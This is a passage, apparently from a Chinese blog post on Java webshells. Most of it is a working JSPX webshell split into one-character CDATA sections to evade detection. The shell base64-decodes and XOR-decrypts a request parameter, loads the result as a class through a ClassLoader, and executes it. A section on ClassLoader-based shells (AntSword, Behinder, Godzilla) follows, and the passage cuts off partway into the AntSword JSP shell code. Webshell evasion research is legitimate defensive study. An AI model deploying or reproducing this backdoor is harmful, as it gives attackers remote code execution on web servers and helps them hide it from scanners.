]]><![CDATA[(]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[)]]><![CDATA[E]]><![CDATA[n]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[(]]><![CDATA[)]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[M]]><![CDATA[e]]><![CDATA[t]]><![CDATA[h]]><![CDATA[o]]><![CDATA[d]]><![CDATA[(]]><![CDATA[<span class="string">"]]><![CDATA[e]]><![CDATA[n]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA["</span>]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[ ]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[[]]><![CDATA[]]]><![CDATA[.]]><![CDATA[c]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[)]]><![CDATA[.]]><![CDATA[i]]><![CDATA[n]]><![CDATA[v]]><![CDATA[o]]><![CDATA[k]]><![CDATA[e]]><![CDATA[(]]><![CDATA[E]]><![CDATA[n]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[ ]]><![CDATA[O]]><![CDATA[b]]><![CDATA[j]]><![CDATA[e]]><![CDATA[c]]><![CDATA[t]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[)]]><![CDATA[;]]><![CDATA[}]]><![CDATA[ ]]><![CDATA[c]]><![CDATA[a]]><![CDATA[t]]><![CDATA[c]]><![CDATA[h]]><![CDATA[ ]]><![CDATA[(]]><![CDATA[E]]><![CDATA[x]]><![CDATA[c]]><![CDATA[e]]><![CDATA[p]]><![CDATA[t]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[e]]><![CDATA[<span class="number">2</span>]]><![CDATA[)]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[}]]><![CDATA[}]]><![CDATA[r]]><![CDATA[e]]><![CDATA[t]]><![CDATA[u]]><![CDATA[r]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[v]]><![CDATA[a]]><![CDATA[l]]><![CDATA[u]]><![CDATA[e]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[ ]]><![CDATA[p]]><![CDATA[u]]><![CDATA[b]]><![CDATA[l]]><![CDATA[i]]><![CDATA[c]]><![CDATA[ ]]><![CDATA[s]]><![CDATA[t]]><![CDATA[a]]><![CDATA[t]]><![CDATA[i]]><![CDATA[c]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[<span class="number">6</span>]]><![CDATA[<span class="number">4</span>]]><![CDATA[D]]><![CDATA[e]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[(]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[s]]><![CDATA[)]]><![CDATA[ ]]><![CDATA[t]]><![CDATA[h]]><![CDATA[r]]><![CDATA[o]]><![CDATA[w]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[E]]><![CDATA[x]]><![CDATA[c]]><![CDATA[e]]><![CDATA[p]]><![CDATA[t]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[<span class="number">6</span>]]><![CDATA[<span class="number">4</span>]]><![CDATA[;]]><![CDATA[b]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[v]]><![CDATA[a]]><![CDATA[l]]><![CDATA[u]]><![CDATA[e]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[u]]><![CDATA[l]]><![CDATA[l]]><![CDATA[;]]><![CDATA[t]]><![CDATA[r]]><![CDATA[y]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[<span class="number">6</span>]]><![CDATA[<span class="number">4</span>]]><![CDATA[=]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[.]]><![CDATA[f]]><![CDATA[o]]><![CDATA[r]]><![CDATA[N]]><![CDATA[a]]><![CDATA[m]]><![CDATA[e]]><![CDATA[(]]><![CDATA[<span class="string">"]]><![CDATA[j]]><![CDATA[a]]><![CDATA[v]]><![CDATA[a]]><![CDATA[.]]><![CDATA[u]]><![CDATA[t]]><![CDATA[i]]><![CDATA[l]]><![CDATA[.]]><![CDATA[B]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA["</span>]]><![CDATA[)]]><![CDATA[;]]><![CDATA[O]]><![CDATA[b]]><![CDATA[j]]><![CDATA[e]]><![CDATA[c]]><![CDATA[t]]><![CDATA[ ]]><![CDATA[d]]><![CDATA[e]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[<span class="number">6</span>]]><![CDATA[<span class="number">4</span>]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[M]]><![CDATA[e]]><![CDATA[t]]><![CDATA[h]]><![CDATA[o]]><![CDATA[d]]><![CDATA[(]]><![CDATA[<span class="string">"]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[D]]><![CDATA[e]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA["</span>]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[u]]><![CDATA[l]]><![CDATA[l]]><![CDATA[)]]><![CDATA[.]]><![CDATA[i]]><![CDATA[n]]><![CDATA[v]]><![CDATA[o]]><![CDATA[k]]><![CDATA[e]]><![CDATA[(]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[<span class="number">6</span>]]><![CDATA[<span class="number">4</span>]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[u]]><![CDATA[l]]><![CDATA[l]]><![CDATA[)]]><![CDATA[;]]><![CDATA[v]]><![CDATA[a]]><![CDATA[l]]><![CDATA[u]]><![CDATA[e]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[(]]><![CDATA[b]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[[]]><![CDATA[]]]><![CDATA[)]]><![CDATA[d]]><![CDATA[e]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[(]]><![CDATA[)]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[M]]><![CDATA[e]]><![CDATA[t]]><![CDATA[h]]><![CDATA[o]]><![CDATA[d]]><![CDATA[(]]><![CDATA[<span class="string">"]]><![CDATA[d]]><![CDATA[e]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA["</span>]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[ ]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[ ]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[.]]><![CDATA[c]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[)]]><![CDATA[.]]><![CDATA[i]]><![CDATA[n]]><![CDATA[v]]><![CDATA[o]]><![CDATA[k]]><![CDATA[e]]><![CDATA[(]]><![CDATA[d]]><![CDATA[e]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[ ]]><![CDATA[O]]><![CDATA[b]]><![CDATA[j]]><![CDATA[e]]><![CDATA[c]]><![CDATA[t]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[)]]><![CDATA[;]]><![CDATA[}]]><![CDATA[ ]]><![CDATA[c]]><![CDATA[a]]><![CDATA[t]]><![CDATA[c]]><![CDATA[h]]><![CDATA[ ]]><![CDATA[(]]><![CDATA[E]]><![CDATA[x]]><![CDATA[c]]><![CDATA[e]]><![CDATA[p]]><![CDATA[t]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[e]]><![CDATA[)]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[t]]><![CDATA[r]]><![CDATA[y]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[<span class="number">6</span>]]><![CDATA[<span class="number">4</span>]]><![CDATA[=]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[.]]><![CDATA[f]]><![CDATA[o]]><![CDATA[r]]><![CDATA[N]]><![CDATA[a]]><![CDATA[m]]><![CDATA[e]]><![CDATA[(]]><![CDATA[<span class="string">"]]><![CDATA[s]]><![CDATA[u]]><![CDATA[n]]><![CDATA[.]]><![CDATA[m]]><![CDATA[i]]><![CDATA[s]]><![CDATA[c]]><![CDATA[.]]><![CDATA[B]]><![CDATA[A]]><![CDATA[S]]><![CDATA[E]]><![CDATA[6]]><![CDATA[4]]><![CDATA[D]]><![CDATA[e]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA["</span>]]><![CDATA[)]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[O]]><![CDATA[b]]><![CDATA[j]]><![CDATA[e]]><![CDATA[c]]><![CDATA[t]]><![CDATA[ ]]><![CDATA[d]]><![CDATA[e]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[<span class="number">6</span>]]><![CDATA[<span class="number">4</span>]]><![CDATA[.]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[I]]><![CDATA[n]]><![CDATA[s]]><![CDATA[t]]><![CDATA[a]]><![CDATA[n]]><![CDATA[c]]><![CDATA[e]]><![CDATA[(]]><![CDATA[)]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[v]]><![CDATA[a]]><![CDATA[l]]><![CDATA[u]]><![CDATA[e]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[(]]><![CDATA[b]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[[]]><![CDATA[]]]><![CDATA[)]]><![CDATA[d]]><![CDATA[e]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[(]]><![CDATA[)]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[M]]><![CDATA[e]]><![CDATA[t]]><![CDATA[h]]><![CDATA[o]]><![CDATA[d]]><![CDATA[(]]><![CDATA[<span class="string">"]]><![CDATA[d]]><![CDATA[e]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[B]]><![CDATA[u]]><![CDATA[f]]><![CDATA[f]]><![CDATA[e]]><![CDATA[r]]><![CDATA["</span>]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[ ]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[ ]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[.]]><![CDATA[c]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[)]]><![CDATA[.]]><![CDATA[i]]><![CDATA[n]]><![CDATA[v]]><![CDATA[o]]><![CDATA[k]]><![CDATA[e]]><![CDATA[(]]><![CDATA[d]]><![CDATA[e]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[ ]]><![CDATA[O]]><![CDATA[b]]><![CDATA[j]]><![CDATA[e]]><![CDATA[c]]><![CDATA[t]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[)]]><![CDATA[;]]><![CDATA[}]]><![CDATA[ ]]><![CDATA[c]]><![CDATA[a]]><![CDATA[t]]><![CDATA[c]]><![CDATA[h]]><![CDATA[ ]]><![CDATA[(]]><![CDATA[E]]><![CDATA[x]]><![CDATA[c]]><![CDATA[e]]><![CDATA[p]]><![CDATA[t]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[e]]><![CDATA[<span class="number">2</span>]]><![CDATA[)]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[}]]><![CDATA[}]]><![CDATA[r]]><![CDATA[e]]><![CDATA[t]]><![CDATA[u]]><![CDATA[r]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[v]]><![CDATA[a]]><![CDATA[l]]><![CDATA[u]]><![CDATA[e]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[}]]></jsp:declaration><jsp:scriptlet><![CDATA[t]]><![CDATA[r]]><![CDATA[y]]><![CDATA[{]]><![CDATA[b]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[d]]><![CDATA[a]]><![CDATA[t]]><![CDATA[a]]><![CDATA[=]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[<span class="number">6</span>]]><![CDATA[<span class="number">4</span>]]><![CDATA[D]]><![CDATA[e]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[(]]><![CDATA[r]]><![CDATA[e]]><![CDATA[q]]><![CDATA[u]]><![CDATA[e]]><![CDATA[s]]><![CDATA[t]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[P]]><![CDATA[a]]><![CDATA[r]]><![CDATA[a]]><![CDATA[m]]><![CDATA[e]]><![CDATA[t]]><![CDATA[e]]><![CDATA[r]]><![CDATA[(]]><![CDATA[p]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[)]]><![CDATA[)]]><![CDATA[;]]><![CDATA[d]]><![CDATA[a]]><![CDATA[t]]><![CDATA[a]]><![CDATA[=]]><![CDATA[x]]><![CDATA[(]]><![CDATA[d]]><![CDATA[a]]><![CDATA[t]]><![CDATA[a]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[f]]><![CDATA[a]]><![CDATA[l]]><![CDATA[s]]><![CDATA[e]]><![CDATA[)]]><![CDATA[;]]><![CDATA[i]]><![CDATA[f]]><![CDATA[ ]]><![CDATA[(]]><![CDATA[s]]><![CDATA[e]]><![CDATA[s]]><![CDATA[s]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[A]]><![CDATA[t]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[b]]><![CDATA[u]]><![CDATA[t]]><![CDATA[e]]><![CDATA[(]]><![CDATA[<span class="string">"]]><![CDATA[p]]><![CDATA[a]]><![CDATA[y]]><![CDATA[l]]><![CDATA[o]]><![CDATA[a]]><![CDATA[d]]><![CDATA["</span>]]><![CDATA[)]]><![CDATA[=]]><![CDATA[=]]><![CDATA[n]]><![CDATA[u]]><![CDATA[l]]><![CDATA[l]]><![CDATA[)]]><![CDATA[{]]><![CDATA[s]]><![CDATA[e]]><![CDATA[s]]><![CDATA[s]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[.]]><![CDATA[s]]><![CDATA[e]]><![CDATA[t]]><![CDATA[A]]><![CDATA[t]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[b]]><![CDATA[u]]><![CDATA[t]]><![CDATA[e]]><![CDATA[(]]><![CDATA[<span class="string">"]]><![CDATA[p]]><![CDATA[a]]><![CDATA[y]]><![CDATA[l]]><![CDATA[o]]><![CDATA[a]]><![CDATA[d]]><![CDATA["</span>]]><![CDATA[,]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[ ]]><![CDATA[X]]><![CDATA[(]]><![CDATA[t]]><![CDATA[h]]><![CDATA[i]]><![CDATA[s]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[(]]><![CDATA[)]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[L]]><![CDATA[o]]><![CDATA[a]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[(]]><![CDATA[)]]><![CDATA[)]]><![CDATA[.]]><![CDATA[Q]]><![CDATA[(]]><![CDATA[d]]><![CDATA[a]]><![CDATA[t]]><![CDATA[a]]><![CDATA[)]]><![CDATA[)]]><![CDATA[;]]><![CDATA[}]]><![CDATA[e]]><![CDATA[l]]><![CDATA[s]]><![CDATA[e]]><![CDATA[{]]><![CDATA[r]]><![CDATA[e]]><![CDATA[q]]><![CDATA[u]]><![CDATA[e]]><![CDATA[s]]><![CDATA[t]]><![CDATA[.]]><![CDATA[s]]><![CDATA[e]]><![CDATA[t]]><![CDATA[A]]><![CDATA[t]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[b]]><![CDATA[u]]><![CDATA[t]]><![CDATA[e]]><![CDATA[(]]><![CDATA[<span class="string">"]]><![CDATA[p]]><![CDATA[a]]><![CDATA[r]]><![CDATA[a]]><![CDATA[m]]><![CDATA[e]]><![CDATA[t]]><![CDATA[e]]><![CDATA[r]]><![CDATA[s]]><![CDATA["</span>]]><![CDATA[,]]><![CDATA[d]]><![CDATA[a]]><![CDATA[t]]><![CDATA[a]]><![CDATA[)]]><![CDATA[;]]><![CDATA[j]]><![CDATA[a]]><![CDATA[v]]><![CDATA[a]]><![CDATA[.]]><![CDATA[i]]><![CDATA[o]]><![CDATA[.]]><![CDATA[B]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[A]]><![CDATA[r]]><![CDATA[r]]><![CDATA[a]]><![CDATA[y]]><![CDATA[O]]><![CDATA[u]]><![CDATA[t]]><![CDATA[p]]><![CDATA[u]]><![CDATA[t]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[e]]><![CDATA[a]]><![CDATA[m]]><![CDATA[ ]]><![CDATA[a]]><![CDATA[r]]><![CDATA[r]]><![CDATA[O]]><![CDATA[u]]><![CDATA[t]]><![CDATA[=]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[ ]]><![CDATA[j]]><![CDATA[a]]><![CDATA[v]]><![CDATA[a]]><![CDATA[.]]><![CDATA[i]]><![CDATA[o]]><![CDATA[.]]><![CDATA[B]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[A]]><![CDATA[r]]><![CDATA[r]]><![CDATA[a]]><![CDATA[y]]><![CDATA[O]]><![CDATA[u]]><![CDATA[t]]><![CDATA[p]]><![CDATA[u]]><![CDATA[t]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[e]]><![CDATA[a]]><![CDATA[m]]><![CDATA[(]]><![CDATA[)]]><![CDATA[;]]><![CDATA[O]]><![CDATA[b]]><![CDATA[j]]><![CDATA[e]]><![CDATA[c]]><![CDATA[t]]><![CDATA[ ]]><![CDATA[f]]><![CDATA[=]]><![CDATA[(]]><![CDATA[(]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[)]]><![CDATA[s]]><![CDATA[e]]><![CDATA[s]]><![CDATA[s]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[A]]><![CDATA[t]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[b]]><![CDATA[u]]><![CDATA[t]]><![CDATA[e]]><![CDATA[(]]><![CDATA[<span class="string">"]]><![CDATA[p]]><![CDATA[a]]><![CDATA[y]]><![CDATA[l]]><![CDATA[o]]><![CDATA[a]]><![CDATA[d]]><![CDATA["</span>]]><![CDATA[)]]><![CDATA[)]]><![CDATA[.]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[I]]><![CDATA[n]]><![CDATA[s]]><![CDATA[t]]><![CDATA[a]]><![CDATA[n]]><![CDATA[c]]><![CDATA[e]]><![CDATA[(]]><![CDATA[)]]><![CDATA[;]]><![CDATA[f]]><![CDATA[.]]><![CDATA[e]]><![CDATA[q]]><![CDATA[u]]><![CDATA[a]]><![CDATA[l]]><![CDATA[s]]><![CDATA[(]]><![CDATA[a]]><![CDATA[r]]><![CDATA[r]]><![CDATA[O]]><![CDATA[u]]><![CDATA[t]]><![CDATA[)]]><![CDATA[;]]><![CDATA[f]]><![CDATA[.]]><![CDATA[e]]><![CDATA[q]]><![CDATA[u]]><![CDATA[a]]><![CDATA[l]]><![CDATA[s]]><![CDATA[(]]><![CDATA[p]]><![CDATA[a]]><![CDATA[g]]><![CDATA[e]]><![CDATA[C]]><![CDATA[o]]><![CDATA[n]]><![CDATA[t]]><![CDATA[e]]><![CDATA[x]]><![CDATA[t]]><![CDATA[)]]><![CDATA[;]]><![CDATA[r]]><![CDATA[e]]><![CDATA[s]]><![CDATA[p]]><![CDATA[o]]><![CDATA[n]]><![CDATA[s]]><![CDATA[e]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[W]]><![CDATA[r]]><![CDATA[i]]><![CDATA[t]]><![CDATA[e]]><![CDATA[r]]><![CDATA[(]]><![CDATA[)]]><![CDATA[.]]><![CDATA[w]]><![CDATA[r]]><![CDATA[i]]><![CDATA[t]]><![CDATA[e]]><![CDATA[(]]><![CDATA[m]]><![CDATA[d]]><![CDATA[<span class="number">5</span>]]><![CDATA[.]]><![CDATA[s]]><![CDATA[u]]><![CDATA[b]]><![CDATA[s]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[(]]><![CDATA[<span class="number">0</span>]]><![CDATA[,]]><![CDATA[<span class="number">1</span>]]><![CDATA[<span class="number">6</span>]]><![CDATA[)]]><![CDATA[)]]><![CDATA[;]]><![CDATA[f]]><![CDATA[.]]><![CDATA[t]]><![CDATA[o]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[(]]><![CDATA[)]]><![CDATA[;]]><![CDATA[r]]><![CDATA[e]]><![CDATA[s]]><![CDATA[p]]><![CDATA[o]]><![CDATA[n]]><![CDATA[s]]><![CDATA[e]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[W]]><![CDATA[r]]><![CDATA[i]]><![CDATA[t]]><![CDATA[e]]><![CDATA[r]]><![CDATA[(]]><![CDATA[)]]><![CDATA[.]]><![CDATA[w]]><![CDATA[r]]><![CDATA[i]]><![CDATA[t]]><![CDATA[e]]><![CDATA[(]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[<span class="number">6</span>]]><![CDATA[<span class="number">4</span>]]><![CDATA[E]]><![CDATA[n]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[(]]><![CDATA[x]]><![CDATA[(]]><![CDATA[a]]><![CDATA[r]]><![CDATA[r]]><![CDATA[O]]><![CDATA[u]]><![CDATA[t]]><![CDATA[.]]><![CDATA[t]]><![CDATA[o]]><![CDATA[B]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[A]]><![CDATA[r]]><![CDATA[r]]><![CDATA[a]]><![CDATA[y]]><![CDATA[(]]><![CDATA[)]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[t]]><![CDATA[r]]><![CDATA[u]]><![CDATA[e]]><![CDATA[)]]><![CDATA[)]]><![CDATA[)]]><![CDATA[;]]><![CDATA[r]]><![CDATA[e]]><![CDATA[s]]><![CDATA[p]]><![CDATA[o]]><![CDATA[n]]><![CDATA[s]]><![CDATA[e]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[W]]><![CDATA[r]]><![CDATA[i]]><![CDATA[t]]><![CDATA[e]]><![CDATA[r]]><![CDATA[(]]><![CDATA[)]]><![CDATA[.]]><![CDATA[w]]><![CDATA[r]]><![CDATA[i]]><![CDATA[t]]><![CDATA[e]]><![CDATA[(]]><![CDATA[m]]><![CDATA[d]]><![CDATA[<span class="number">5</span>]]><![CDATA[.]]><![CDATA[s]]><![CDATA[u]]><![CDATA[b]]><![CDATA[s]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[(]]><![CDATA[<span class="number">1</span>]]><![CDATA[<span class="number">6</span>]]><![CDATA[)]]><![CDATA[)]]><![CDATA[;]]><![CDATA[}]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[c]]><![CDATA[a]]><![CDATA[t]]><![CDATA[c]]><![CDATA[h]]><![CDATA[ ]]><![CDATA[(]]><![CDATA[E]]><![CDATA[x]]><![CDATA[c]]><![CDATA[e]]><![CDATA[p]]><![CDATA[t]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[e]]><![CDATA[)]]><![CDATA[{]]><![CDATA[}]]></jsp:scriptlet></jsp:root></span><br></pre></td></tr></table></figure>
<h1 id="ClassLoad"><a href="#ClassLoad" class="headerlink" title="ClassLoad"></a>ClassLoad</h1><p>现阶段大部分java类型的shell(蚁剑、冰蝎、哥斯拉等)都是通过classLoad的方式去动态加载,相对以前的大马体积小了很多。</p>
<h2 id="蚁剑-1"><a href="#蚁剑-1" class="headerlink" title="蚁剑"></a>蚁剑</h2><p>这里以蚁剑为例。首先看一下蚁剑jsp类型的webshell</p>
<figure class="highlight jsp"><table><tr><td class="code"><pre><span class="line"><%!</span><br><span class="line"> <span class="keyword">class</span> <span class="title class_">U</span> <span class="keyword">extends</span> <span class="title class_">ClassLoader</span> {</span><br><span class="line"> U(ClassLoader c) {</span><br><span class="line"> <span class="built_in">super</span>(c);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">public</span> Class <span class="title function_">g</span><span class="params">(<span class="type">byte</span>[] b)</span> {</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">super</span>.defineClass(b, <span 